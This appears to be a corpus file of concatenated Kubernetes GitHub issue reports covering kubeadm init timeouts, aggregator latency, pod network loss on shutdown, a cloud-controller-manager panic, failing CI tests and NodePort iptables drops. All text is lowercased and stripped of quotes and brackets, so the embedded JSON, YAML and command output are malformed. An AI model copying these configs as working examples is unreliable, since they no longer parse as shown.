etc-pki-ca-trust\  to \ kube-apiserver\ \r  wait-control-plane  waiting for the kubelet to boot up the control plane as static pods from directory \ /etc/kubernetes/manifests\ . this can take up to 5m0s\r  kubelet-check  initial timeout of 40s passed.\r \r unfortunately, an error has occurred:\r         timed out waiting for the condition\r \r this error is likely caused by:\r         - the kubelet is not running\r         - the kubelet is unhealthy due to a misconfiguration of the node in some way  required cgroups disabled \r \r if you are on a systemd-powered system, you can try to troubleshoot the error with the following commands:\r         - 'systemctl status kubelet'\r         - 'journalctl -xeu kubelet'\r \r additionally, a control plane component may have crashed or exited when started by the container runtime.\r to troubleshoot, list all containers using your preferred container runtimes cli, e.g. docker.\r here is one example how you may list all kubernetes containers running in docker:\r         - 'docker ps -a | grep kube | grep -v pause'\r         once you have found the failing container, you can inspect its logs with:\r         - 'docker logs containerid'\r error execution phase wait-control-plane: couldn't initialize a kubernetes cluster\r    \r \r   what you expected to happen  :\r \r kubeadm detect that kubelet started successfully and move on with the initialisation.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r kubeadm init --config=/etc/kubernetes/kubeadm-config.yaml --ignore-preflight-errors=all\r    \r \r   anything else we need to know?  :\r \r this kubeadm command is being called from a kubespray ansible playbook.\r \r   environment  :\r \r - kubernetes version  use  kubectl version  :\r v1.13.1\r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r    $ cat /etc/os-release\r name=\ red hat enterprise linux server\ \r version=\ 7.6  maipo \ \r    \r - kernel  e.g.  uname -a  :\r    $ uname -a\r linux ip-10-198-110-225.cloud.dev.net 3.10.0-957.1.3.el7.x86_64  1 smp thu nov 15 17:36:42 utc 2018 x86_64 x86_64 x86_64 gnu/linux   \r \r - install tools:\r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r i have two apiservices installed on api aggregator. when i have a lot of clients  more than 200  calling these two apis at the same time via kube-apiserver, i see a lot of timeouts in client, and when i run kubectl to get these api resource, the response time becomes as much as more than 10s.\r \r it seems that kube-apiserver will open a socket for each apiservice, since i saw to established connections to the aggregate apiserver:\r    \r  root@mcm01-master ~   netstat -plan | grep 10.1.131.196\r tcp        0      0 10.1.223.64:33292       10.1.131.196:443        established 17402/hyperkube\r tcp        0      0 10.1.223.64:33286       10.1.131.196:443        established 17402/hyperkube\r    \r however, when there are too many requests, one connection may not be able to handle all of them?\r \r to work around, i enable \ --enable-aggregator-routing=true\  on kube-apiserver, and increase the replica of aggregate apiserver. kube-apiserver will have 2 connections for each of the aggregate-apiserver pod, and it currently helps to resolve my problem.\r \r   what you expected to happen  :\r kube-apiserver should be able to handle large amount of api requests served by aggregate apiserver.\r \r   how to reproduce it  as minimally and precisely as possible   :\r start a aggregate apiserver, start a lot of clients to call api through kube-apiserver\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.12.4\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : centos\r - kernel  e.g.  uname -a  :  3.10.0-862.14.4.el7.x86_64\r - install tools:\r - others:\r

it's tricky because it is all in-kernel, but maybe we can find a way to recognize failed connections to endpoints an \ penalty-box\  flaky endpoints.

if you're running kubernetes with the master components secured with tls, eventually you will need to update the certificate and key, and possibly even the ca cert. right now there is no documentation about how this should be approached. what services need to be restarted when the ca cert, endpoint cert, or private key are changed on disk? if all the master components are running via the kubelet's static manifest directory, is it sufficient to just restart kubelet on the host? or is it necessary to somehow manually restart each containerized master component that reads those files?

all our federation e2es started failing with  v1.getoptions is not suitable for converting to \ federation/v1beta1\  . not sure if something changed in api machinery.\r \r cc @kubernetes/sig-api-machinery @caesarxuchao @smarterclayton @kubernetes/sig-cluster-lifecycle

quoting @deads2k from https://github.com/kubernetes/kubernetes/pull/32523 issuecomment-250156525:\r \r > a scale client should accept a groupversionresource and a scale object. it should then use the gvr in combination with a dynamic client to make its request.\r \r  current implementation of scale  https://github.com/kubernetes/kubernetes/blob/9705bb728e768be02bf5b32aa14dec059f9269ed/pkg/client/clientset_generated/internalclientset/typed/extensions/internalversion/scale_expansion.go l27-l28  expects  kind  which is a  string  and a  scale  object. to be consistent with current codebase we should switch the first argument to require  groupversionresource , instead.\r \r @kubernetes/sig-api-machinery objections?

/ /  \r this test case has been failing for a while and affects a number of jobs:  triage report  https://storage.googleapis.com/k8s-gubernator/triage/index.html?test=%5c%5bsig-network%5c%5d%20networking%20granular%20checks%3a%20services%20%5c%5bslow%5c%5d%20should%20function%20for%20client%20ip%20based%20session%20affinity%3a%20udp \r \r this is affecting multiple jobs on the release-master-blocking dashboard, and prevents us from cutting 1.9.0-alpha.2  kubernetes/sig-release 22 . is there work ongoing to bring this job back to green?\r \r possibly related:\r - https://github.com/kubernetes/kubernetes/issues/53835\r - https://github.com/kubernetes/kubernetes/issues/53568

bug report  :\r   \r \r   what happened  :\r the option \ terminationgraceperiodseconds\  seems to work perfectly, but the pod loses it's ip so i lose network capabilities during shutdown.\r \r   what you expected to happen  :\r i would like to have network capabilities all the time until the pod is really terminated.\r \r   how to reproduce it  as minimally and precisely as possible   :\r just create a container that after receiving sigterm sleeps for 300s. delete it so it gets sigterm. after a minute  i think  the network will be lost.\r \r   anything else we need to know?  :\r 1  i edit a deployment of an already deployed app so a rolling upgrade for my app starts\r 2  the pod state switches to \ terminating\ \r 3  after a minute  aprox  i see the event:\r  \r 2017-11-11 22:17:56 -0500 est   2017-11-11 22:17:56 -0500 est   1         test-app-3539513326-7ch61.14f638581f16998a   pod       spec.containers{test-app}   normal    killing   kubelet, xxx.xxx.xxx.xxx   killing container with id docker://658xxxxd88101ac957b24a94de75xxxxxx157:need to kill pod \r 4  the \ pause\  container corresponding to my app pod is killed\r 5  as the \ pause\  contains the pod configuration my pod loses the network stack  lost ip .\r 6  the app container  and the pod  lives  without network  until the process exists or \ terminationgraceperiodseconds\  is reached.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r  \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 6e937839ac04a38cac63e6a7a306c5d035fe7b0a\ , gittreestate:\ clean\ , builddate:\ 2017-09-28t22:57:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r  \r  server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:22:08z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r \r - os  e.g. from /etc/os-release :  debian\r - kernel  e.g.  uname -a  : linux ip-172-20-0-201 4.4.65-k8s  1 smp tue may 2 15:48:24 utc 2017 x86_64 gnu/linux\r - install tools: kops\r \r

if i make k8s network bridge mode，when i  set bridge-nf-call-iptables is 1, the packets of container can access host iptables;\r \r however, if i make k8s network macvlan mode,  the packets of container  can not access host iptables. how i should config,  make packets of container access host iptables in macvlan mode\r

currently there is no way for the gce p driver to automatically get gcp credentials in the e2e test framework so that it has the permissions to create/delete/attach/detach volumes on gcp.\r \r the workaround to run the test currently is to manually create a service account for the project, then expose it as a secret in the namespace the test is running in.\r \r might be able to solve with tokenrequest api: https://github.com/kubernetes/features/issues/542\r or maybe there is a way to automatically inject the credentials in ci that i am not aware of.\r \r \r  

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r i was following this getting started guide from the kubernetes docs: https://kubernetes.io/docs/getting-started-guides/scratch/ and everything worked fine until  here  https://kubernetes.io/docs/getting-started-guides/scratch/ apiserver-controller-manager-and-scheduler , i tried to use this config file\r    json\r {\r   \ kind\ : \ pod\ ,\r   \ apiversion\ : \ v1\ ,\r   \ metadata\ : {\r     \ name\ : \ kube-apiserver\ \r   },\r   \ spec\ : {\r     \ hostnetwork\ : true,\r     \ containers\ :  \r       {\r         \ name\ : \ kube-apiserver\ ,\r         \ image\ : \ k8s.gcr.io/hyperkube:v1.9.8\ ,\r         \ command\ :  \r           \ /hyperkube\ ,\r           \ apiserver\ \r          ,\r         \ ports\ :  \r           {\r             \ name\ : \ https\ ,\r             \ hostport\ : 443,\r             \ containerport\ : 443\r           },\r           {\r             \ name\ : \ local\ ,\r             \ hostport\ : 8080,\r             \ containerport\ : 8080\r           }\r          ,\r         \ volumemounts\ :  \r           {\r             \ name\ : \ srvkube\ ,\r             \ mountpath\ : \ /srv/kubernetes\ ,\r             \ readonly\ : true\r           },\r           {\r             \ name\ : \ etcssl\ ,\r             \ mountpath\ : \ /etc/ssl\ ,\r             \ readonly\ : true\r           }\r          ,\r         \ livenessprobe\ : {\r           \ httpget\ : {\r             \ scheme\ : \ http\ ,\r             \ host\ : \ 127.0.0.1\ ,\r             \ port\ : 8080,\r             \ path\ : \ /healthz\ \r           },\r           \ initialdelayseconds\ : 15,\r           \ timeoutseconds\ : 15\r         }\r       }\r      ,\r     \ volumes\ :  \r       {\r         \ name\ : \ srvkube\ ,\r         \ hostpath\ : {\r           \ path\ : \ /srv/kubernetes\ \r         }\r       },\r       {\r         \ name\ : \ etcssl\ ,\r         \ hostpath\ : {\r           \ path\ : \ /etc/ssl\ \r         }\r       }\r      \r   }\r }\r    \r with the command\r    \r hyperkube kubelet --kubeconfig=/var/lib/kubelet/kubeconfig --config=/etc/kubernetes/manifests\r    \r but it gave me\r    \r i0601 15:59:13.698986   12273 feature_gate.go:226  feature gates: &{{} map  }\r f0601 15:59:13.699333   12273 server.go:176  failed to load kubelet config file manifest, error failed to decode, error: no kind \ pod\  is registered for version \ v1\ \r    \r \r   what you expected to happen  :\r i expected it to start a pod which runs the apiserver via hyperkube.\r \r   how to reproduce it  as minimally and precisely as possible   :\r by doing the things described in \ what happened:\ \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.0\r - cloud provider or hardware configuration: none yet\r - os  e.g. from /etc/os-release : arch linux\r - kernel  e.g.  uname -a  : linux orion 4.16.12-1-arch  1 smp preempt fri may 25 23:30:31 utc 2018 x86_64 gnu/linux\r - install tools: installed as described in the docs mentioned above\r - others:\r

   \r   what happened  : i run the cloud-controller-manager with the pv label initializing controller inside a cluster where i use nfs volumes. whenever creating such a pv the cloud-controller-manager panics:\r \r    yaml\r apiversion: v1\r kind: persistentvolume\r metadata:\r   name: d27d7884a7700d4102b01c312d1b2450b8ab5598\r spec:\r   accessmodes:\r   - readwritemany\r   capacity:\r     storage: 100g\r   mountoptions:\r   - ac\r   - soft\r   - intr\r   - timeo=2\r   - retry=5\r   - retrans=3\r   - lookupcache=none\r   - nfsvers=3\r   nfs:\r     path: /exports/volumes/system-a27b6218ee/7\r     server: 100.78.23.47\r   persistentvolumereclaimpolicy: retain\r   storageclassname: nfs-class\r status:\r   phase: pending\r    \r \r logs of ccm:\r \r    \r i0924 07:45:08.271581       1 controller_utils.go:1026  caches are synced for persistent volume label controller\r e0924 07:45:08.274934       1 runtime.go:66  observed a panic: \ invalid memory address or nil pointer dereference\   runtime error: invalid memory address or nil pointer dereference \r /workspace/anago-v1.9.10-beta.0.47+098570796b3289/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:72\r /workspace/anago-v1.9.10-beta.0.47+098570796b3289/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:65\r /workspace/anago-v1.9.10-beta.0.47+098570796b3289/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:51\r /usr/local/go/src/runtime/asm_amd64.s:509\r /usr/local/go/src/runtime/panic.go:491\r /usr/local/go/src/runtime/panic.go:63\r /usr/local/go/src/runtime/signal_unix.go:367\r /workspace/anago-v1.9.10-beta.0.47+098570796b3289/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/aws/aws.go:2264\r /workspace/anago-v1.9.10-beta.0.47+098570796b3289/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/cloud/pvlcontroller.go:188\r /workspace/anago-v1.9.10-beta.0.47+098570796b3289/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/cloud/pvlcontroller.go:180\r /workspace/anago-v1.9.10-beta.0.47+098570796b3289/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/cloud/pvlcontroller.go:72\r /workspace/anago-v1.9.10-beta.0.47+098570796b3289/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/cloud/pvlcontroller.go:145\r /workspace/anago-v1.9.10-beta.0.47+098570796b3289/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/cloud/pvlcontroller.go:129\r /workspace/anago-v1.9.10-beta.0.47+098570796b3289/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/cloud/pvlcontroller.go:119\r /workspace/anago-v1.9.10-beta.0.47+098570796b3289/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:133\r /workspace/anago-v1.9.10-beta.0.47+098570796b3289/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:134\r /workspace/anago-v1.9.10-beta.0.47+098570796b3289/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:88\r /usr/local/go/src/runtime/asm_amd64.s:2337\r panic: runtime error: invalid memory address or nil pointer dereference  recovered \r \tpanic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0x8 pc=0x1c18e1d \r \r goroutine 267  running :\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime.handlecrash 0x0, 0x0, 0x0 \r \t/workspace/anago-v1.9.10-beta.0.47+098570796b3289/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:58 +0x111\r panic 0x413b420, 0xa74c5b0 \r \t/usr/local/go/src/runtime/panic.go:491 +0x283\r k8s.io/kubernetes/pkg/cloudprovider/providers/aws.  cloud .getlabelsforvolume 0xc42029eea0, 0xc4206a7ed0, 0xc42029eea0, 0x7f55f9564dc0, 0xc42029eea0 \r \t/workspace/anago-v1.9.10-beta.0.47+098570796b3289/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/aws/aws.go:2264 +0x2d\r k8s.io/kubernetes/pkg/controller/cloud.  persistentvolumelabelcontroller .addlabelstovolume 0xc42011da40, 0xc4206a7ed0, 0x0, 0xc4206a7ed0 \r \t/workspace/anago-v1.9.10-beta.0.47+098570796b3289/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/cloud/pvlcontroller.go:188 +0xb5\r k8s.io/kubernetes/pkg/controller/cloud.  persistentvolumelabelcontroller .addlabels 0xc42011da40, 0xc421223ce0, 0x28, 0xc421176d88, 0xc42136d1d0 \r \t/workspace/anago-v1.9.10-beta.0.47+098570796b3289/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/cloud/pvlcontroller.go:180 +0x30c\r k8s.io/kubernetes/pkg/controller/cloud.  persistentvolumelabelcontroller . k8s.io/kubernetes/pkg/controller/cloud.addlabels -fm 0xc421223ce0, 0x28, 0xc421393fa0, 0x3e3c140 \r \t/workspace/anago-v1.9.10-beta.0.47+098570796b3289/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/cloud/pvlcontroller.go:72 +0x3e\r k8s.io/kubernetes/pkg/controller/cloud.  persistentvolumelabelcontroller .processnextworkitem 0xc42011da40, 0x936a00 \r \t/workspace/anago-v1.9.10-beta.0.47+098570796b3289/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/cloud/pvlcontroller.go:145 +0xf5\r k8s.io/kubernetes/pkg/controller/cloud.  persistentvolumelabelcontroller .runworker 0xc42011da40 \r \t/workspace/anago-v1.9.10-beta.0.47+098570796b3289/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/cloud/pvlcontroller.go:129 +0x2b\r k8s.io/kubernetes/pkg/controller/cloud.  persistentvolumelabelcontroller . k8s.io/kubernetes/pkg/controller/cloud.runworker -fm  \r \t/workspace/anago-v1.9.10-beta.0.47+098570796b3289/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/cloud/pvlcontroller.go:119 +0x2a\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil.func1 0xc4206174d0 \r \t/workspace/anago-v1.9.10-beta.0.47+098570796b3289/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:133 +0x5e\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil 0xc4206174d0, 0x3b9aca00, 0x0, 0x1, 0xc420074b40 \r \t/workspace/anago-v1.9.10-beta.0.47+098570796b3289/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:134 +0xbd\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until 0xc4206174d0, 0x3b9aca00, 0xc420074b40 \r \t/workspace/anago-v1.9.10-beta.0.47+098570796b3289/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:88 +0x4d\r created by k8s.io/kubernetes/pkg/controller/cloud.  persistentvolumelabelcontroller .run\r \t/workspace/anago-v1.9.10-beta.0.47+098570796b3289/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/cloud/pvlcontroller.go:119 +0x20e\r    \r \r   what you expected to happen  : cloud-controller-manager only initializes volumes it is responsible for.\r \r   how to reproduce it  as minimally and precisely as possible   : standard cloud-controller-manager deployment + example pv manifest above.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :  server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.10\ , gitcommit:\ 098570796b32895c38a9a1c9286425fb1ececa18\ , gittreestate:\ clean\ , builddate:\ 2018-08-02t17:11:51z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : coreos\r

failure cluster  6370abe3ef6ce0b3a819  https://go.k8s.io/triage {id} \r \r       error text:\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl/portforward.go:501\r test panicked\r /usr/local/go/src/runtime/panic.go:502\r    \r      recent failures:\r  2018/12/27 下午2:12:22 ci-kubernetes-e2e-stable-aws-eks-1-11-prod  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-stable-aws-eks-1-11-prod/145 sig-cli-kubectl-port-forwarding-k8sio-with-a-server-listening-on-localhost-should-support-forwarding-over-websockets \r  2018/12/27 下午2:06:22 ci-kubernetes-e2e-latest-aws-eks-1-11-prod  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-latest-aws-eks-1-11-prod/147 sig-cli-kubectl-port-forwarding-k8sio-with-a-server-listening-on-localhost-should-support-forwarding-over-websockets \r  2018/12/27 下午1:27:24 ci-kubernetes-e2e-1-11-aws-eks-1-11-prod  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-1-11-aws-eks-1-11-prod/145 sig-cli-kubectl-port-forwarding-k8sio-with-a-server-listening-on-localhost-should-support-forwarding-over-websockets \r  2018/12/27 上午11:11:30 ci-kubernetes-e2e-stable-aws-eks-1-11-prod  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-stable-aws-eks-1-11-prod/144 sig-cli-kubectl-port-forwarding-k8sio-with-a-server-listening-on-localhost-should-support-forwarding-over-websockets \r  2018/12/27 上午11:05:34 ci-kubernetes-e2e-latest-aws-eks-1-11-prod  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-latest-aws-eks-1-11-prod/146 sig-cli-kubectl-port-forwarding-k8sio-with-a-server-listening-on-localhost-should-support-forwarding-over-websockets \r \r \r /label sig/cli

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r    ci-kubernetes-e2e-gce-new-master-upgrade-cluster-new \r    ci-kubernetes-e2e-gce-new-master-upgrade-cluster \r \r   which test s  are failing  :\r  diffresources \r \r   since when has it been failing  :\r 2019-03-01\r \r   testgrid link  :\r   https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster\r   https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster-new\r \r   reason for failure  :\r    \r error: 12 leaked resources\r +name                                                            zone        size_gb  type         status\r +bootstrap-e2e-78e337f9-3d2f-11e9-a656-2acb4231a6ed              us-west1-b  2        pd-standard  ready\r +bootstrap-e2e-dynamic-pvc-796bbc5d-3d2f-11e9-9e04-42010a8a0002  us-west1-b  1        pd-standard  ready\r +bootstrap-e2e-dynamic-pvc-85e2b93a-3d2f-11e9-9e04-42010a8a0002  us-west1-b  1        pd-standard  ready\r +bootstrap-e2e-dynamic-pvc-97d1f1dd-3d2f-11e9-9e04-42010a8a0002  us-west1-b  1        pd-standard  ready\r    \r \r   anything else we need to know  :\r might be related: https://github.com/kubernetes/kubernetes/issues/74417  a recent diffresources test failure  and https://github.com/kubernetes/kubernetes/issues/74887  started failing at the same jobs, at the same time .\r \r    / /milestone v1.14\r \r cc @smourapina @alejandrox1 @kacole2 @mortent \r cc @kubernetes/sig-storage-test-failures \r

right now when we create a vm the vnet value as will as the dns name are hardcoded.there should be an option to pass vnet name as well desired dnsvalue for the vm to be created.

@kubernetes/sig-storage   this issue is opened for discussing about the relationship between our current storage class design and storage policy based management by others  the storage policy based management terms are used in some places. i listed a few as follows. i am thinking where the storage policy  storage profile  might fit in our storage management design. from their document and examples, it seems like storage policy is kind of umbrella term which covers both persistantvolumeclaim and storageclass, and storage profile more like persistentvolume in our teams.  i think storage policy based management is the goal for fully automatic management. users only need to specify high-level requirements, the system automatically choose the best matching place to provision the storage based on different criteria and policies. our current dynamic provisioning with storageclass storage design is achieving semi-automatic storage management.  openstack: http://docs.openstack.org/developer/swift/overview_policies.html   please check default versus ‘policy-0’ section, seems very related to what we have discussed for default mode   https://www.swiftstack.com/docs/admin/cluster_management/policies.html  check default policy and deprecated policy        storage-policy:0  name = gold aliases = yellow, orange policy_type = replication default = yes      vmware http://blogs.vmware.com/vsphere/2014/09/storage-policy-based-management-overview.html http://blogs.vmware.com/vsphere/2014/10/vsphere-storage-policy-based-management-overview-part-2.html      gold policy: caching = true snapshots = 3 dedeplication = true compression = true replication = synchronous

failed: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-reboot-release-1.5/347/  run so broken it didn't make junit output!

is this a bug report or feature request?    choose one :  bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :  1.5.1\r \r \r   environment  :\r -   cloud provider or hardware configuration  :  3x ubuntu 16.04 nodes running in vmware vsphere\r -   os    e.g. from /etc/os-release :  ubuntu 16.04\r -   kernel    e.g.  uname -a  :  4.4.0-57-generic\r -   install tools  :  kubeadm\r -   others  :  cni: canal  flannel + calico \r \r \r   what happened  :\r \r i have a 3x node kubernetes cluster: kube-ravi196 10.163.148.196  master , kube-ravi197 10.163.148.197, and kube-ravi198 10.163.148.198.  i have a pod that's currently scheduled on kube-ravi198 that i'd like to be exposed externally to the cluster. so i have a service of type nodeport with the nodeport set to 30080. i can successfully do curl localhost:30080 locally on each node.  but externally, curl nodex:30080 only works against kube-ravi198. the other two timeout.\r \r i debugged iptables and found that the external request is getting dropped in the forward chain as it's hitting the default drop policy.  below is some debugging info and output of my iptables rules on the master kube-ravi196 node.\r \r    \r $ kubectl get pods --namespace=kube-system -l \ k8s-app=kube-registry\  -o wide\r name                     ready     status    restarts   age       ip              node\r kube-registry-v0-1mthd   1/1       running   0          39m       192.168.75.13   ravi-kube198\r \r $ kubectl get service --namespace=kube-system -l \ k8s-app=kube-registry\ \r name            cluster-ip      external-ip   port s           age\r kube-registry   10.100.57.109   <nodes>       5000:30080/tcp   5h\r \r $ kubectl get pods --namespace=kube-system -l \ k8s-app=kube-proxy\  -o wide\r name               ready     status    restarts   age       ip               node\r kube-proxy-1rzz8   1/1       running   0          40m       10.163.148.198   ravi-kube198\r kube-proxy-fz20x   1/1       running   0          40m       10.163.148.197   ravi-kube197\r kube-proxy-lm7nm   1/1       running   0          40m       10.163.148.196   ravi-kube196\r    \r \r <details>\r <summary>iptables-save</summary>\r \r    \r   generated by iptables-save v1.6.0 on thu jan  5 22:33:57 2017\r  nat\r :prerouting accept  1:60 \r :input accept  1:60 \r :output accept  40:2834 \r :postrouting accept  40:2834 \r :docker -  0:0 \r :kube-mark-drop -  0:0 \r :kube-mark-masq -  0:0 \r :kube-nodeports -  0:0 \r :kube-postrouting -  0:0 \r :kube-sep-4u6btajcdmhbcnte -  0:0 \r :kube-sep-7qbktobwzow2adyz -  0:0 \r :kube-sep-darqfiu6ciz6dhsz -  0:0 \r :kube-sep-fmm5baxi5qdngxpj -  0:0 \r :kube-sep-kjx7s6nvuiouabfe -  0:0 \r :kube-sep-kmrljbmsxvc225ld -  0:0 \r :kube-sep-kxx2ukhaml22525b -  0:0 \r :kube-sep-ncdbiyvkeum6v7jv -  0:0 \r :kube-sep-ysvakjlnbvvbenui -  0:0 \r :kube-services -  0:0 \r :kube-svc-e66mhsuh4ayexsqe -  0:0 \r :kube-svc-erifxisqep7f7of4 -  0:0 \r :kube-svc-jv2wr75k33aezuk7 -  0:0 \r :kube-svc-kwjorwlctf22fld3 -  0:0 \r :kube-svc-npx46m4ptmtkrn6y -  0:0 \r :kube-svc-tcou7jcqxezgvunu -  0:0 \r :kube-svc-xgloha7qrq3v22rz -  0:0 \r :felix-fip-dnat -  0:0 \r :felix-fip-snat -  0:0 \r :felix-postrouting -  0:0 \r :felix-prerouting -  0:0 \r -a prerouting -j felix-prerouting\r -a prerouting -m comment --comment \ kubernetes service portals\  -j kube-services\r -a prerouting -m addrtype --dst-type local -j docker\r -a output -m comment --comment \ kubernetes service portals\  -j kube-services\r -a output ! -d 127.0.0.0/8 -m addrtype --dst-type local -j docker\r -a postrouting -j felix-postrouting\r -a postrouting -m comment --comment \ kubernetes postrouting rules\  -j kube-postrouting\r -a postrouting -s 172.17.0.0/16 ! -o docker0 -j masquerade\r -a postrouting -s 192.168.0.0/16 -d 192.168.0.0/16 -j return\r -a postrouting -s 192.168.0.0/16 ! -d 224.0.0.0/4 -j masquerade\r -a postrouting ! -s 192.168.0.0/16 -d 192.168.0.0/16 -j masquerade\r -a docker -i docker0 -j return\r -a kube-mark-drop -j mark --set-xmark 0x8000/0x8000\r -a kube-mark-masq -j mark --set-xmark 0x4000/0x4000\r -a kube-nodeports -p tcp -m comment --comment \ kube-system/kube-registry:registry\  -m tcp --dport 30080 -j kube-mark-masq\r -a kube-nodeports -p tcp -m comment --comment \ kube-system/kube-registry:registry\  -m tcp --dport 30080 -j kube-svc-jv2wr75k33aezuk7\r -a kube-nodeports -p tcp -m comment --comment \ kube-system/kubernetes-dashboard:\  -m tcp --dport 30882 -j kube-mark-masq\r -a kube-nodeports -p tcp -m comment --comment \ kube-system/kubernetes-dashboard:\  -m tcp --dport 30882 -j kube-svc-xgloha7qrq3v22rz\r -a kube-postrouting -m comment --comment \ kubernetes service traffic requiring snat\  -m mark --mark 0x4000/0x4000 -j masquerade\r -a kube-sep-4u6btajcdmhbcnte -s 192.168.75.33/32 -m comment --comment \ kube-system/kube-dns:dns-tcp\  -j kube-mark-masq\r -a kube-sep-4u6btajcdmhbcnte -p tcp -m comment --comment \ kube-system/kube-dns:dns-tcp\  -m tcp -j dnat --to-destination 192.168.75.33:53\r -a kube-sep-7qbktobwzow2adyz -s 10.163.148.196/32 -m comment --comment \ kube-system/glusterfs-dynamic-kube-registry-pvc:\  -j kube-mark-masq\r -a kube-sep-7qbktobwzow2adyz -p tcp -m comment --comment \ kube-system/glusterfs-dynamic-kube-registry-pvc:\  -m tcp -j dnat --to-destination 10.163.148.196:1\r -a kube-sep-darqfiu6ciz6dhsz -s 10.163.148.198/32 -m comment --comment \ kube-system/glusterfs-dynamic-kube-registry-pvc:\  